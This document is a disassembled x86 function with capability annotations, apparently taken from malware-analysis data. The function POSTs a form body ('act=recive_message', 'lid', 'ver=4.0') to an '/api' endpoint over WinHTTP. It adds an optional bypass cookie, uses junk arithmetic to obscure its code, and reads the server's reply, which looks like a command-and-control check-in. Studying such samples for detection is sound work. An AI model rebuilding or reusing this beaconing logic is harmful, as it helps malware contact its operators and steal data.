Function at 0x44ca20
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Reference http user-agent string
Set http header

Disassembly:
push ebx
push edi
push esi
sub esp, 0x65c
lea eax, [esp + 0x5c]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x200
call fcn.00450830
mov eax, dword [0x47657c]
mov dword [esp], eax
call fcn.00455ce0
mov ecx, dword [0x47657c]
lea edx, [esp + 0x5c]
xor esi, esi
mov dword [esp], 0
mov dword [esp + 4], edx
mov dword [esp + 8], 0x100
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
call fcn.004557df
mov dword [esp + 0x58], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x1c], 0
lea eax, [0x468d4e]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
sub esp, 0x14
mov dword [esp + 0x2c], eax
cmp dword [esp + 0x2c], 0
je 0x44cb29
jmp 0x44caf9
lea eax, [esp + 0x5c]
mov ecx, dword [esp + 0x2c]
xor edx, edx
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x50
mov dword [esp + 0xc], 0
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
sub esp, 0x10
mov dword [esp + 0x28], eax
jmp 0x44cb29
jmp 0x44cb2b
cmp dword [esp + 0x28], 0
setne al
test al, 1
jne 0x44cb39
jmp 0x44cb83
mov eax, dword [esp + 0x28]
lea ecx, str.POST
lea edx, str._api
xor esi, esi
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
sub esp, 0x1c
mov dword [esp + 0x1c], eax
lea eax, str.Content_Type:_application_x_www_form_urlencoded_r_n
mov dword [esp + 0x50], eax
lea eax, [esp + 0x25c]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x400
call fcn.00450830
lea eax, [esp + 0x25c]
lea ecx, str.actrecive_messagelid_sj_sver4.0
lea edx, str.LPnhqo___Josyy0
lea esi, [0x475a78]
mov dword [esp], eax
mov dword [esp + 4], 0x3ff
mov dword [esp + 8], ecx
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], esi
call fcn.0044a7f0
cmp dword [0x476584], 0
je 0x44cc5a
mov dword [esp], 0x100
mov dword [esp + 4], 1
call fcn.004552e7
mov dword [esp + 0x3c], eax
mov eax, dword [0x476580]
mov ecx, dword [esp + 0x3c]
lea edx, str.Cookie:___cf_mw_byp_hs
mov dword [esp], ecx
mov dword [esp + 4], edx
mov dword [esp + 8], eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x1c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xffffffff
mov dword [esp + 0xc], 0x20000000
call dword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
sub esp, 0x10
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
call fcn.00455735
jmp 0x44cc5a
jmp 0x44cc5c
cmp dword [esp + 0x1c], 0
setne al
test al, 1
jne 0x44cc6a
jmp 0x44cccb
lea eax, [esp + 0x25c]
mov dword [esp], eax
call fcn.00455ce0
mov esi, eax
lea eax, [esp + 0x25c]
mov dword [esp], eax
call fcn.00455ce0
lea ecx, [esp + 0x25c]
mov edx, dword [esp + 0x50]
mov edi, dword [esp + 0x1c]
xor ebx, ebx
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], 0xffffffff
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], 0
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
sub esp, 0x1c
mov dword [esp + 0x38], eax
cmp dword [esp + 0x38], 0
je 0x44ccf4
jmp 0x44ccd4
mov eax, dword [esp + 0x1c]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
sub esp, 8
mov dword [esp + 0x38], eax
jmp 0x44ccf4
mov dword [esp + 0x34], 0
cmp dword [esp + 0x38], 0
setne al
test al, 1
jne 0x44cd0d
jmp 0x44ce16
mov dword [esp + 0x24], 0
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x34]
mov dword [esp], eax
mov dword [esp + 4], ecx
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
sub esp, 8
xor ecx, ecx
cmp eax, 0
je 0x44cd3c
cmp dword [esp + 0x34], 0
seta cl
test cl, 1
jne 0x44cd46
jmp 0x44ce06
mov eax, dword [esp + 0x24]
add eax, dword [esp + 0x34]
add eax, 0xfaa5fca4
mov ecx, eax
and ecx, 1
or eax, 1
add ecx, eax
sub ecx, 0xfaa5fca4
mov eax, dword [esp + 0x20]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00455adf
mov dword [esp + 0x44], eax
cmp dword [esp + 0x44], 0
setne al
test al, 1
jne 0x44cd8f
jmp 0x44cd85
mov dword [esp + 0x30], 3
jmp 0x44cdf1
jmp 0x44cd91
mov eax, dword [esp + 0x44]
mov dword [esp + 0x20], eax
mov dword [esp + 0x40], 0
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x20]
add ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x1c]
lea esi, [esp + 0x40]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], esi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
sub esp, 0x10
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x24]
sub ecx, 0x77d29d5c
add ecx, eax
add ecx, 0x77d29d5c
mov dword [esp + 0x24], ecx
mov dword [esp + 0x30], 0
jmp 0x44cdf1
mov eax, dword [esp + 0x30]
test eax, eax
je 0x44cdfd
jmp 0x44cdfb
jmp 0x44ce06
jmp 0x44cdff
jmp 0x44ce01
jmp 0x44cd15
jmp 0x44ce08
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
mov byte [eax + ecx], 0
jmp 0x44ce16
cmp dword [esp + 0x20], 0
jne 0x44ce32
mov dword [esp + 0x48], 0
mov dword [esp + 0x30], 1
jmp 0x44ceb9
jmp 0x44ce34
cmp dword [esp + 0x1c], 0
setne al
test al, 1
jne 0x44ce42
jmp 0x44ce56
jmp 0x44ce44
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
sub esp, 4
jmp 0x44ce56
jmp 0x44ce58
cmp dword [esp + 0x28], 0
setne al
test al, 1
jne 0x44ce66
jmp 0x44ce76
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
sub esp, 4
cmp dword [esp + 0x2c], 0
je 0x44ce8d
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
sub esp, 4
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call fcn.00446150
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call fcn.00455735
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x48], eax
mov dword [esp + 0x30], 1
mov eax, dword [esp + 0x48]
add esp, 0x65c
pop esi
pop edi
pop ebx
ret